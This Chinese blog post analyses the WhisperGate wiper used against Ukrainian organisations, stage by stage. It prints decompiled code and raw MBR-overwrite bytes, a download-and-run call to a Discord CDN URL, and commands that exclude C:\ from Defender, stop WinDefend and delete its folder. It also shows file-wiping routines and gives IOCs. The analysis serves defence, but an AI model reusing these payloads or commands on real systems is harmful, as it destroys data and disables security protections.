针对乌克兰组织的破坏性恶意软件WhisperGate分析

百家 作者:Chamd5安全团队 2022-01-30 08:21:22


概述

微软威胁情报中心(MSTIC)已经确认了一个针对乌克兰多个组织的破坏性恶意软件攻击活动,恶意软件于2022年1月13日首次出现在受害者的系统中。

本文主要对攻击中的破坏性恶意软件进行分析。

总体流程

阶段1恶意软件分析

程序首先注册了一些异常处理函数,重点在sub_403b60,sub_403b60向磁盘 0 引导扇区写入了一些数据
int __usercall sub_403B60@<eax>(DWORD a1@<ebp>)
{
  //...
  dwDesiredAccess[1] = dwDesiredAccess[2];
  dwDesiredAccess[0] = a1;
  v1 = alloca(sub_401FE0((char)&dwCreationDisposition));
  sub_401990();
  qmemcpy(&dwDesiredAccess[-2054], &unk_404020, 0x2000u);
  v2 = CreateFileW(L"\\\\.\\PhysicalDrive0"0x10000000u, 3u03u00);
  WriteFile(v2, &dwDesiredAccess[-2054], 0x200u, 00);
  CloseHandle(v2);
  return 0;
}
写入的数据为:
b'\xeb\x00\x8c\xc8\x8e\xd8\xbe\x88|\xe8\x00\x00P\xfc\x8a\x04<\x00t\x06\xe8\x05\x00F\xeb\xf4\xeb\x05\xb4\x0e\xcd\x10\xc3\x8c\xc8\x8e\xd8\xa3x|f\xc7\x06v|\x82|\x00\x00\xb4C\xb0\x00\x8a\x16\x87|\x80\xc2\x80\xber|\xcd\x13r\x02s\x18\xfe\x06\x87|f\xc7\x06z|\x01\x00\x00\x00f\xc7\x06~|\x00\x00\x00\x00\xeb\xc4f\x81\x06z|\xc7\x00\x00\x00f\x81\x16~|\x00\x00\x00\x00\xf8\xeb\xaf\x10\x00\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00AAAAA\x00Your hard drive has been corrupted.\r\nIn case you want to recover all hard drives\r\nof your organization,\r\nYou should pay us  $10k via bitcoin wallet\r\n1AVNM68gj6PGPFcJuftKATa4WLnzg8fpfv and send message via\r\ntox ID 8BEDC411012A33BA34F49130D0F186993C6A32DAD8976F6A5D82C1ED23054C057ECED5496F65\r\nwith your organization name.\r\nWe will contact you to give further instructions.\x00\x00\x00\x00U\xaa'
使用把这个写入另一个文件,使用 IDA(16 bit mode)反汇编一下,得到:
seg000:7C00 ; Segment type: Pure code
seg000:7C00 seg000 segment byte public 'CODE' use16
seg000:7C00 assume cs:seg000
seg000:7C00 ;org 7C00h
seg000:7C00 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:7C00 jmp short $+2
seg000:7C02 ; ---------------------------------------------------------------------------
seg000:7C02
seg000:7C02 loc_7C02: ; CODE XREF: seg000:7C00↑j
seg000:7C02 mov ax, cs
seg000:7C04 mov ds, ax
seg000:7C06 mov si, 7C88h
seg000:7C09 call $+3
seg000:7C0C push ax
seg000:7C0D cld
seg000:7C0E
seg000:7C0E loc_7C0E: ; CODE XREF: seg000:7C18↓j
seg000:7C0E mov al, [si]
seg000:7C10 cmp al, 0
seg000:7C12 jz short loc_7C1A
seg000:7C14 call sub_7C1C
seg000:7C17 inc si
seg000:7C18 jmp short loc_7C0E
seg000:7C1A ; ---------------------------------------------------------------------------
seg000:7C1A
seg000:7C1A loc_7C1A: ; CODE XREF: seg000:7C12↑j
seg000:7C1A jmp short loc_7C21
seg000:7C1C
seg000:7C1C ; =============== S U B R O U T I N E =======================================
seg000:7C1C
seg000:7C1C
seg000:7C1C sub_7C1C proc near ; CODE XREF: seg000:7C14↑p
seg000:7C1C mov ah, 0Eh
seg000:7C1E int 10h ; - VIDEO - WRITE CHARACTER AND ADVANCE CURSOR (TTY WRITE)
seg000:7C1E ; AL = character, BH = display page (alpha modes)
seg000:7C1E ; BL = foreground color (graphics modes)
seg000:7C20 retn
seg000:7C20 sub_7C1C endp
seg000:7C20
seg000:7C21 ; ---------------------------------------------------------------------------
seg000:7C21
seg000:7C21 loc_7C21: ; CODE XREF: seg000:loc_7C1A↑j
seg000:7C21 ; seg000:7C5B↓j ...
seg000:7C21 mov ax, cs
seg000:7C23 mov ds, ax
seg000:7C25 mov ds:word_7C78, ax
seg000:7C28 mov dword ptr ds:word_7C76, 7C82h
seg000:7C31 mov ah, 43h ; 'C'
seg000:7C33 mov al, 0
seg000:7C35 mov dl, ds:byte_7C87
seg000:7C39 add dl, 80h
seg000:7C3C mov si, 7C72h
seg000:7C3F int 13h ; DISK - IBM/MS Extension - EXTENDED WRITE (DL - drive, AL - verify flag, DS:SI - disk address packet)
seg000:7C41 jb short loc_7C45
seg000:7C43 jnb short loc_7C5D
seg000:7C45
seg000:7C45 loc_7C45: ; CODE XREF: seg000:7C41↑j
seg000:7C45 inc ds:byte_7C87
seg000:7C49 mov ds:dword_7C7A, 1
seg000:7C52 mov ds:dword_7C7E, 0
seg000:7C5B jmp short loc_7C21
seg000:7C5D ; ---------------------------------------------------------------------------
seg000:7C5D
seg000:7C5D loc_7C5D: ; CODE XREF: seg000:7C43↑j
seg000:7C5D add ds:dword_7C7A, 0C7h
seg000:7C66 adc ds:dword_7C7E, 0
seg000:7C6F clc
seg000:7C70 jmp short loc_7C21
seg000:7C70 ; ---------------------------------------------------------------------------
seg000:7C72 db 10h
seg000:7C73 align 2
seg000:7C74 db 1, 0
seg000:7C76 word_7C76 dw 0 ; DATA XREF: seg000:7C28↑w
seg000:7C78 word_7C78 dw 0 ; DATA XREF: seg000:7C25↑w
seg000:7C7A dword_7C7A dd 1 ; DATA XREF: seg000:7C49↑w
seg000:7C7A ; seg000:loc_7C5D↑w
seg000:7C7E dword_7C7E dd 0 ; DATA XREF: seg000:7C52↑w
seg000:7C7E ; seg000:7C66↑w
seg000:7C82 db 41h ; A
seg000:7C83 db 4 dup(41h)
seg000:7C87 byte_7C87 db 0 ; DATA XREF: seg000:7C35↑r
seg000:7C87 ; seg000:loc_7C45↑w
seg000:7C88 aYourHardDriveH db 'Your hard drive has been corrupted.',0Dh,0Ah
seg000:7C88 db 'In case you want to recover all hard drives',0Dh,0Ah
seg000:7C88 db 'of your organization,',0Dh,0Ah
seg000:7C88 db 'You should pay us $10k via bitcoin wallet',0Dh,0Ah
seg000:7C88 db '1AVNM68gj6PGPFcJuftKATa4WLnzg8fpfv and send message via',0Dh,0Ah
seg000:7C88 db 'tox ID 8BEDC411012A33BA34F49130D0F186993C6A32DAD8976F6A5D82C1ED23'
seg000:7C88 db '054C057ECED5496F65',0Dh,0Ah
seg000:7C88 db 'with your organization name.',0Dh,0Ah
seg000:7C88 db 'We will contact you to give further instructions.',0
seg000:7DFB db 3 dup(0), 55h, 0AAh
seg000:7DFB seg000 ends

汇编代码比较清晰,即向屏幕输出“你的硬盘被破坏了,请支付赎金”,并给出了非常简略的联系方式。似乎该破坏行动是为了单纯的破坏,而不是勒索钱财。

值得注意的是,这段代码会在关机重启后执行,所以一旦发现感染了病毒,及时清除病毒并修复引导扇区,可以直接阻止恶意行为。

阶段2分析

阶段 2 的 payload 加入了一些混淆,先用 de4dot 去一下混淆,然后拖进 dnspy
public static void Main()
 {
  for (;;)
  {
   IL_64:
   Console.WriteLine(Application.ExecutablePath);
   for (;;)
   {
    int num = 1;
    if (<Module>{89a366a7-2270-4665-8440-cb5a27ea74fd}.m_d3e3b107f8904fb69ad941560b17473e == 0)
    {
     goto IL_15;
    }
    IL_2E:
        // non-use code
        IL_03:
    Manager.LogoutFacade();
    num = 0;
    if (<Module>{89a366a7-2270-4665-8440-cb5a27ea74fd}.m_3c87806b12d7438cba956510142600ea != 0)
    {
     goto IL_2E;
    }
    IL_15:
    Console.WriteLine(Application.StartupPath);
    num = 2;
    if (<Module>{89a366a7-2270-4665-8440-cb5a27ea74fd}.m_774b9210d98142ebb4413559daae5a44 == 0)
    {
     goto IL_03;
    }
    goto IL_2E;
   }
  }
虽然代码很多,但是实际上就调用了Manager.LogoutFacade
public static void LogoutFacade()
 {
  Type[] array = Manager.PushItem(Manager.ListItem());
  Type[] array2 = array;
    // non-use code
   }
重点在于Manager.ListItem,ListItem 调用了Facade.PrintFacade()
public static Assembly PrintFacade()
 {
  Assembly assembly;
   assembly = Facade.LogoutItem(Facade.ChangeFacade());
      // non-use code
     Assembly result;
  return result;
  IL_33:
  result = assembly;
  return result;
 }
其中 LogoutItem 就是 Assembly.Load,下面分析Facade.ChangeFacade
private static byte[] ChangeFacade()
 {
  byte[] result;
  for (;;)
  {
   Facade.ValidateItem();
   int num = 1;
      // break
      goto IL_39;
  }
  goto IL_AC;
  IL_39:
  IL_3A:
  try
  {
   ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
  }
  catch
  {
  }
  IL_4A:
  byte[] array = (byte[])Facade.UpdateItem(typeof(WebClient).GetMethod("DxownxloxadDxatxxax".Replace("x"""), new Type[]
  {
   Facade.MoveItem(typeof(string).TypeHandle)
  }), new WebClient(), new object[]
  {
   "https://cdn.discordapp.com/attachments/928503440139771947/930108637681184768/Tbopbh.jpg"
  });
  IL_9F:
  bool flag = array.Length > 1;
  IL_A8:
  if (!flag)
  {
   goto IL_B8;
  }
  IL_AC:
  Facade.InsertItem(array, 0, array.Length);
  IL_B8:
  result = array;
  return result;
 }
其中 ValidateItem()
object_ = "0AUwBsAGUAZQBwACAALQBzACAAMQAwAA==";
//...
  Facade.InitItem(Facade.SetItem(new ProcessStartInfo
  {
   FileName = "powershell",
   Arguments = Facade.SearchItem("-enc UwB0AGEAcgB0AC", object_),
   WindowStyle = ProcessWindowStyle.Hidden
  }));
  num2++;
  IL_97:
  flag = (num2 < 2);
  goto IL_5A;
实际上就是执行了命令,休眠 10s 逃避沙箱检测
powershell -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwAA== # Start-Sleep -s 10

ChangeFacade 下载了一个资源文件,并且反转数组。其中 UpdateItem 调用了第一个参数的invoke()方法。InsertItem 反转数组。

下载之后返回,再经过之前的 Assembly.Load,就执行了第三阶段的 payload

再回到 Manager.LogoutFacade,可以看到获取 Assembly 之后调用了 PushItem
Manager.PublishItem(type.GetMethods());
然后 PublishItem,最终调用了 FillFacade 方法
private static void FillFacade(MethodInfo[] spec)
 {
  for (;;)
  {
   IL_BB:
   for (;;)
   {
    IL_B6:
    int i = 0;
    IL_A9:
    while (i < spec.Length)
    {
     int num = 1;
     if (<Module>{89a366a7-2270-4665-8440-cb5a27ea74fd}.m_2c14d7a09b2547d0bb8f361f957318cd == 0)
     {
      goto IL_3F;
     }
     for (;;)
     {
      IL_71:
      MethodInfo methodInfo;
      switch (num)
      {
      case 1:
       methodInfo = spec[i];
       goto IL_53;
      case 2:
      case 4:
      case 6:
       goto IL_A9;
      case 3:
       goto IL_53;
      case 5:
      case 9:
       goto IL_B6;
      case 8:
       return;
      case 10:
       goto IL_BB;
      case 11:
       goto IL_15;
      }
      break;
      IL_15:
      bool flag;
      if (!flag)
      {
       num = 0;
       if (<Module>{89a366a7-2270-4665-8440-cb5a27ea74fd}.m_998eb8dec19c46dbadb23b38e4845884 != 0)
       {
        break;
       }
       continue;
      }
      else
      {
       methodInfo.Invoke(nullnull);
       num = 2;
       if (<Module>{89a366a7-2270-4665-8440-cb5a27ea74fd}.m_a1c1ff6dd32b4941b387e9a3f27456af != 0)
       {
        break;
       }
       continue;
      }
      IL_53:
      flag = Manager.ReflectItem(methodInfo.Name, "Ylfwdwgmpilzyaph");
      goto IL_15;
     }
     IL_3F:
     i++;
     num = 1;
     if (<Module>{89a366a7-2270-4665-8440-cb5a27ea74fd}.m_dd2f1ebca64349f79180980532b8e09c != 0)
     {
      goto IL_71;
     }
    }
    return;
   }
  }
 }

在查找一个名为Ylfwdwgmpilzyaph的方法,然后调用。

阶段3分析

public static void Ylfwdwgmpilzyaph()
  {
   Class57.smethod_0().method_15(Class57.smethod_2(), "#6k@H!uq=A"null);
  }
先调用了Class57.smethod_2()
public static Stream smethod_2()
 {
  if (Class57.stream_0 == null)
  {
   Class57.stream_0 = Class77.smethod_0(typeof(Class57).Assembly.GetManifestResourceStream("7c8cb5598e724d34384cce7402b11f0e"), new byte[]
   {
    180,
    // ...
    194
   }, Class57.smethod_1());
  }
  return Class57.stream_0;
 }

加载了一个资源,然后调用Class77.smethod_0

由于过于复杂,使用 powershell 加载后调试
[reflection.assembly]::LoadFile("C:/Users/kali/Desktop/stage3.bin/stage3-cleaned.dll")
[ClassLibrary1.Main]::Ylfwdwgmpilzyaph()

调试中发现,很多 API 都不是直接调用,猜测有反射调用方法。

反射中要用到 invoke 方法,所以寻找 invoke 的关联树。

也就是说,\u0002\u2008 的两个重载函数 \u0002 调用了 windowsAPI,而第一个函数

private static void \u0002(Exception \u0002)
 {
  try
  {
   MethodInfo method = typeof(Exception).GetMethod(global::\u000F\u2004\u2000.\u0002(-1506766328), BindingFlags.Instance | BindingFlags.NonPublic, null, Type.EmptyTypes, null);
   if (method != null)
   {
    method.Invoke(\u0002, null);
    return;
   }
  }
  //...
 }
应该是进行异常处理的函数。所以调用 Windows API 的函数在这里。在这个函数下断点
private static object \u0002(MethodBase \u0002, object \u0003, object[] \u0005)
 {
  if (\u0002.IsConstructor)
  {
   try
   {
    return Activator.CreateInstance(\u0002.DeclaringType, BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic, null, \u0005, null);
   }
   catch (AmbiguousMatchException)
   {
    return ((ConstructorInfo)\u0002).Invoke(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic, null, \u0005, null);
   }
  }
  return \u0002.Invoke(\u0003, \u0005);
 }

后面观察这个 API 调用就可以了

1. 首先获取 powershell 模块

2. 然后获取 powershell 路径

3. 获取当前用户

4. 判断当前用户是否是管理员

5. 获取 powershell 路径字符串的 c# 变量路径

6. 获取 windows 系统路径

7. powershell 路径是不是系统路径里面的

8. 获取 powershell 的根路径

9. 获取临时目录

10. 连接一个字符串,看上去是一个 vbs 脚本目录

11. 连接三个字符串

是一个 vbs 脚本
12. 将拼接的字符串写入文件

CreateObject("WScript.Shell").Run "powershell Set-MpPreference -ExclusionPath 'C:\'", 0, False"

即让 Windows defender 不再扫描 C 文件夹

13. 设置一个新进程并启动脚本

14. 判断是否存在目标文件

然后构造一个新数组,利用 gzip 解压这个数组,并把数组写入到目标文件,并执行

后面陆续执行了几条命令,都是用 AdvancedRun 执行的

C:\Users\kali\AppData\Local\Temp\AdvancedRun.exe /EXEFilename "C:\Windows\System32\sc.exe" /WindowState 0 /CommandLine "stop WinDefend"  /StartDirectory "" /RunAs 8 /Run
/EXEFilename "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /WindowState 0 /CommandLine "rmdir 'C:\ProgramData\Microsoft\Windows Defender' -Recurse" /StartDirectory "" /RunAs 8 /Run"
(在这里谢谢你帮我关闭 wdf)

然后获取并连接了另一字符串

解压了另一个 payload,然后注入到 InstallUtil.exe。中间有一些获取函数地址的地方。

执行对应的 payload,自身退出

第四阶段分析

核心逻辑在 sub_4017b0 中

UINT sub_4017B0()
{
  DWORD v0; // ebx
  int i; // esi
  UINT result; // eax
  WCHAR RootPathName[17]; // [esp+26h] [ebp-22h] BYREF

  v0 = GetLogicalDrives();
  qmemcpy(RootPathName, "A"0xAu);
  RootPathName[3] = 0;
  for ( i = 0; i != 26; ++i )
  {
    result = (__int64)pow(2.0, (double)i);
    if ( (v0 & result) != 0 )
    {
      RootPathName[0] = i + 'A';
      if ( GetDriveTypeW(RootPathName) == DRIVE_FIXED || (result = GetDriveTypeW(RootPathName), result == DRIVE_REMOTE) )
      {
        RootPathName[3] = '*';
        result = sub_40160B(RootPathName);
        RootPathName[3] = 0;
      }
    }
  }
  return result;
}
获取所有盘符,如果有磁盘或者远程磁盘就对磁盘中所有文件执行 sub_40160B。
int __cdecl sub_40160B(LPCWSTR lpFileName)
{
  // ...
  struct _WIN32_FIND_DATAW FindFileData; // [esp+40h] [ebp-268h] BYREF

  hFindFile = FindFirstFileW(lpFileName, &FindFileData);
  result = (int)hFindFile + 1;
  if ( hFindFile != (HANDLE)-1 )
  {
    do
    {
      if ( wcscmp(FindFileData.cFileName, ::String2) )
      {
        if ( wcscmp(FindFileData.cFileName, L"..") )
        {
          if ( wcscmp(FindFileData.cFileName, asc_406086) )
          {
            v2 = wcslen(FindFileData.cFileName);
            v3 = wcslen(lpFileName);
            v6 = v2 + v3;
            v4 = (wchar_t *)malloc(2 * (v2 + v3 + 4));
            wcscpy(v4, lpFileName);
            v4[v3 - 1] = 0;
            wcscat(v4, FindFileData.cFileName);
            qmemcpy(String2, L"A:\\Windows"sizeof(String2));
            String2[0] = *wgetenv(L"HOMEDRIVE");
            if ( wcscmp(v4, String2) )
            {
              if ( sub_401460(v4) )
              {
                v5 = v6 + 0x7FFFFFFF;
                v4[v5] = 92;
                v4[v5 + 1] = 42;
                v4[v5 + 2] = 0;
                sub_40160B(v4);
              }
              else
              {
                sub_4015B3(v4);
              }
              free(v4);
            }
          }
        }
      }
    }
    while ( FindNextFileW(hFindFile, &FindFileData) );
    result = FindClose(hFindFile);
  }
  return result;
}
列出所有文件,对于每一个文件/文件夹,如果是文件夹并且有访问权限,就进入文件夹递归执行,否则就执行 sub_4015b3
int __cdecl sub_4015B3(wchar_t *a1)
{
  // ...

  v1 = 0;
  String2 = (const wchar_t *)sub_4014B6(a1); // 获取文件后缀名
  sub_401492(String2); // 转换为大写
  while ( 1 )
  {
    result = wcscmp(off_405020[v1], String2); // 判断一系列后缀名
    if ( !result )
      break;
    if ( ++v1 == 195 ) // 不在列表里,直接返回
      return result;
  }
  return sub_4014E3(a1); // 在列表里,执行这个函数
}
判断了文件后缀名是否在一个列表里
 .HTML .HTM . .XHTML . .PHP . .ASP . . . . . . . . .DOCX .XLS . . .PPTX .PST . .MSG . .VSD . . .CSV . .WKS . .PDF . .ONETOC2 . .JPEG .JPG . . . .DOTM .DOTX .XLSM .XLSB .XLW . .XLM . .XLTX .XLTM .PPTM .POT . .PPSM .PPSX .PPAM .POTX .POTM .EDB . .602 . .STI . . . .XLSM .PPTM . .PNG . .RAW . .SLN . .TIFF .NEF . .AI .SVG . .CLASS . .BRD . .DCH . .PL .VB .VBS . .BAT . .JS .ASM . .PAS . .C . . .ASC . . .MML . .OTG . .UOP . .SXD . .ODP . .SLK . .STC . .OTS . .3DM . .3DS . .STW . .OTT . .PEM . .CSR . .KEY . .DER . .RB .GO .JAVA .RB .INC . .PY .KDBX .INI . .PPK . .VDI . . .HDD . .VMSD .VMSN .VMSS .VMTM .VMX . . . . . .IBD . .MYD . .SAV . .DBF . . .ACCDB . .SQLITEDB .SQLITE3 . .SQ3 . .PAQ . .TBK . .TAR . .GZ .7Z .RAR . .BACKUP .ISO . .BZ .CONFIG 
如果在列表里,就执行 sub_4014e3
void __cdecl sub_4014E3(wchar_t *FileName)
{
  //...
  v1 = wcslen(FileName);
  v2 = (wchar_t *)malloc(2 * (v1 + 20));
  v3 = rand();
  v4 = wcslen(FileName);
  swprintf(v2, (const size_t)L"%.*s.%x", (const wchar_t *const)(v4 - 4), FileName, v3);
  Stream = wfopen(FileName, L"wb");
  v5 = malloc(0x100000u);
  memset(v5, 0xcc0x100000u);
  fwrite(v5, 1u0x100000u, Stream);
  fclose(Stream);
  wrename(FileName, v2);
  free(v2);
  free(v5);
}

给文件随机添加后缀名,然后将前 0x100000 个字节更改为 0xcc,也就是烫烫烫,注意,这种更改是不可逆、无法恢复的。

IOCs

文件名SHA256
stage1.exea196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92
stage2.exedcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78
stage3.exe923eb77b3c9e11d6c56052318c119c1a22d11ab71675e6b95d05eeb73d1accd6

参考资料

  1. https://paper.seebug.org/1815/

  2. https://blog.csdn.net/Cdreamfly/article/details/105004784

  3. https://bbs.pediy.com/thread-50714.htm

  4. https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3

  5. https://github.com/hexfati/SharpDllLoader

  6. https://blog.csdn.net/y97523szb/article/details/6950730

  7. https://www.netskope.com/blog/netskope-threat-coverage-whispergate

end


招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系admin@chamd5.org



关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接